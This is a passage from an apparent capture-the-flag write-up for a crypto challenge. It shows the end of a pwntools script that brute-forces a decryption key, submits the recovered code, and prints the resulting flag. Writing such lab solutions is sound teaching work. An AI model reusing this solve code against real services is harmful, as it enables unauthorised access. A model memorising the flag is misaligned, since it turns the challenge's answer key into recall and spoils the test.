        dec = cipher.decrypt(enccode)
        if b'Very simple' in dec:
            dec = unpad(dec, 16)
            print(dec)
            break
    except:
        continue

r.recvuntil(b'>> ')
r.sendline(b'2')
r.sendline(dec)
r.recvline(1024)

```

```

[DEBUG] Received 0xf bytes:
b'Masukkan kode: '
[DEBUG] Received 0x50 bytes:
b"dahlah, b'NCW23{kenapa_bocor_lagi_yak_keynya?_yang_penting_soalnya_simple_dah}'\n"

```

Flag:

NCW23{kenapa\_bocor\_lagi\_yak\_keynya?\_yang\_penting\_soalnya\_simple\_dah}